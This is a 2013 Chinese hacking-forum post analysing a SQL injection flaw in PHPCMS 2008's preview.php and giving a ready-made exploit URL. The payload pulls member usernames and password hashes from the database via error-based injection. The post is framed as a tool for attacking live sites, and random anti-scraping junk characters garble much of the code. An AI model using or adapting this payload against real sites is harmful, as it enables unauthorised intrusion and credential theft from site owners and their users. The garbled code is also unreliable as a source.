中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......  O& h+ `2 m/ ?, \  |- W" r
) L* Y, G3 x. u, G1 l) O
   要转摘的兄弟们,你们还是带个版权吧!    ' }# _. ]& q. C5 @
- B5 q* E- |6 G7 V" K, \
  组织 : http://www.safekeyer.com/   (欢迎访问)
3 T' f' `8 N& S/ |/ S) [2 t
+ K  L# A6 I% F% G) H5 Q- D, z4 Zauthor: 西毒    blog: http://hi.baidu.com/sethc50 U2 o+ g, _3 o% H2 h4 b1 z5 E
, T0 ^! r0 }* [2 l* a; }+ I
     
$ I# x* \% H3 N# p" R  O
, h4 j9 @# H7 h5 A1 Y' A其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
0 q& H! p/ B5 `7 B  o% }1 P( U
; U5 O6 D' r, C  r过程不明显的我就省略了。# T: L, O* r1 k( r1 r- e: ]

+ |1 F' Y3 I4 j1 G4 v在preview.php 中第7行
  D, B# d( n. u- C, e7 l- [' J/ n; \- m& Z% O
$r = new_stripslashes($info);9 K1 ]$ `4 @6 R  t# x

& E( a+ m+ j: F6 i: {我们跟踪new_stripslashes这个函数
- |; E" ^$ s/ C9 W2 @- ~3 S3 V8 h& X
! {$ V* f- \+ w7 h( r! y3 i0 a在global.func.php中可以找到7 n% t$ ^+ o* `( X

" t  ]( B; F' H4 P6 w' K5 c+ k! M& [1
. W0 h) H7 d3 M) F2' u  x2 U/ |0 v2 a7 f
3
+ @: i3 o9 L# D- t( z4
% D! L$ r( q% C, K' D4 g+ f; A5
+ p  K, C: d1 k6 function new_stripslashes($string)
4 L/ ~9 l9 v( i" g; N{
2 V* R1 e, S% l1 \7 l    if(!is_array($string)) return stripslashes($string);% K1 C# ]" ?0 t) C4 s; o! N# X
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
9 ]6 u: E# R1 E) Y    return $string;
0 m/ {' f8 u  D4 a7 L- K}
0 W% ?0 O* F" S7 t; _
  Z+ C# x$ r# l/ x; V" h这个函数的功能不用解释了吧$ h2 l) M$ r) k: t7 T/ `! n$ Y
6 K! A2 k5 z5 h8 D2 T/ o% C
所以我们看具体应用点再哪?- C+ q! q" M8 p! ?8 M1 d( x
8 f" O; r! j& q! g) v4 S7 G6 j/ k
1
3 }8 a" H2 ]+ c  q* f' d) B0 b2
4 @- d4 v! F$ ~) q2 P3
9 Z" {: G) v( c" t  [; c3 T) r9 u+ k48 s$ [- T- M& u. }0 L, l* t
5+ F3 E# n, ^5 Q5 [4 w4 x( x7 c
6
7 d) n5 }2 J1 [7 b71 `# \6 J* a# N% j
8
8 B3 A0 R  P& V# y* }4 S7 X9
# `) [! I3 z$ i6 B$ v: e4 Y108 u/ J4 n4 L& n9 M
11' b" A+ B) S* v: U, `
125 q. S: |9 A7 Z4 l
13; G+ g; p" l# W1 C0 O
14
; H+ g: ^6 p& G" l" g2 a15
; r6 Y7 I! W; g1 i" f5 ?3 s' i: v16
2 _  r. q4 T5 o17" h" }# ?* J1 ?+ T5 u  |/ {
18/ Y. W  h. t" |5 E2 T
19
" Z- ?7 F2 Z6 s7 d" p( }) s7 M20& F' y* ^& r( c3 n- A. k
21" Y5 W" [* j# Q5 E* s
22
* F2 A1 u9 Z( X) ^9 V23
- W; N( B( H% T1 Q8 V24' T- N0 o! C9 n( ~( z
25% L* a. y! o5 P" r( ?) l0 c
26
! P- W2 i. c: J) k7 F; ?. m3 U27/ w. u0 R4 C; V  m( C
28
3 ^3 A: t6 M8 b6 v3 M29
+ v+ Y, X7 {( `+ G2 r30# m) y5 x8 Q% `7 g# M
31
& _' u* E$ w2 _- c32+ h- K9 `$ S, B! z4 Q
33
* s- C$ k+ ~$ f7 X$ y2 h% i34
1 }1 E" {* v; ~) ?( ~. a9 q35 require dirname(__FILE__).'/include/common.inc.php';
7 {2 C& `+ I* r+ [; L/ S; J, F% B$ V7 ~if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.+ }  M2 ~) g0 P3 e$ o' h
require_once CACHE_MODEL_PATH.'content_output.class.php';
3 r' Y  n* _% Orequire_once 'output.class.php';
* Q5 F% _( g1 r1 h) L: rif(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了0 G: V& b% A! k4 Y  r" i% V
$r = new_stripslashes($info);   //反转义了.....关键, a- s" t! L! t7 P( y
$C = cache_read('category_'.$r['catid'].'.php');- b" o5 i0 H8 E! n
$out = new content_output();
8 t2 q$ l: T% E$r['userid'] = $_userid;. b- k( [+ o8 h+ `$ Z( U3 @
$r['inputtime'] = TIME;# }+ m: V# U0 ?& h7 J3 ]4 y! Z
$data = $out->get($r);
# U. }/ d+ v$ D8 n9 T$ e; Textract($data);  J: V( m9 S% [2 [2 J2 a- z
$userid = $_username;# D0 V+ g7 Y6 x# U
for($i=1;$i<10;$i++)6 U8 I: \! Z1 n" |- k0 v8 {
{
- S; }3 f$ ]. x) K0 y& c    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");  d# W" e% W' V
}- C2 N, [! F& i8 V8 p
        
3 C+ {2 Z4 j& J# j6 `$array_images = $str_attachmentArray;
$ P& M4 q. S5 [/ n8 S. W# @3 K$images_number = 10;4 w% y7 o5 I1 B( Y& n9 @  A. s
$allow_priv = $allow_readpoint = 1;+ G. {' z3 R$ Z. Y4 A- i& D/ B
$updatetime = date('Y-m-d H:i:s',TIME);8 }  F1 E! f6 F- |  z4 ^) _( F
        
" i+ y( {1 o3 F2 o# A7 Q* @3 C- n$page = max(intval($page), 1);& T% Q: s6 S2 P: U+ f: p6 [
$pages = $titles = '';3 H/ [7 C; A3 h& K7 x, f* g' Y
if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
5 E  v0 ?: o7 ]# |9 A6 q{7 g6 x1 Z. C5 `8 ^5 w
    require_once 'url.class.php';
/ H0 S+ I" S3 h    $curl = new url();" I7 z8 R/ U# `! t7 u4 p, q" J% c( e* `
    $contents = array_filter(explode('', $content));+ m- m5 V. C6 L2 O" w3 N0 v& A
    $pagenumber = count($contents);
3 Z2 _: X2 T5 X9 w# P+ ^1 ^+ T    for($i=1; $i<=$pagenumber; $i++)
3 n5 H. U& M; I: a- d! H0 s$ d    {
$ {7 J; x6 u2 M        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中8 I. D9 {" o+ N, t  n7 t) U
    } * k2 P9 S. k8 f
其中细节我就不说了...
) ]+ x- ~' N+ D: n& k/ s4 q4 R3 U, _
我们看看这个$curl资源句柄中的show方法
4 K. }0 Z) I+ d( b* L4 Y! p/ k# i0 A/ \4 `( s, E0 w
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
' P! [4 I" U: L' B  `% I! h4 ~) |7 L# D' n7 {: r  v+ I! T. {
1; X& M: s$ H6 O  O$ ^
2
5 c- C3 J% c( F5 Z4 d  _3- c! |; ]' A' F+ {* v' t. Q
47 ?( P  e; B2 E8 }( s$ M
53 A( A  m, t; \+ ?
6
7 w; Y& [! \+ |9 J8 a0 M8 j7' d& U/ b+ Z5 J  I
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
: c- S9 r$ t4 @! ~8 y- |    {7 S  f, Y' W# t; {5 _0 i" U
        global $PHPCMS;( b9 F! {9 C& v% x
        if($catid == 0 || $time == 0 || $prefix == '')1 u& h- B" Y7 n% N" R# u+ O" ]: z
        {+ F' k/ L* V) B  [$ d; \
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
( B" f# z+ Q/ v: F8 u6 a- t; o            if($r['isupgrade'] && !empty($r['url']))
. h5 S: S% X3 i, C, \/ a: q. R            { # u7 m& c* r  \
6 z7 E( p' f/ @- A, c3 p
所以结合前面的......我们x站了吧9 [% J: u9 A' f

) N4 W5 H1 \* a! {给出exp
6 E9 V. g9 M$ m* z1 d! {" H  ~5 v" f/ T+ O" U) f6 j
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​  ~5 E: r# c8 G

  W! i( D4 x$ F& {# A1 U截图看一下- H2 E6 P5 q8 r2 m- y
: Y8 i* R6 P. T: w, P3 K- j" e. t
最后真心说句,360收购漏洞计划,价格真心低....." r0 r7 Y# T" M& y9 H
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2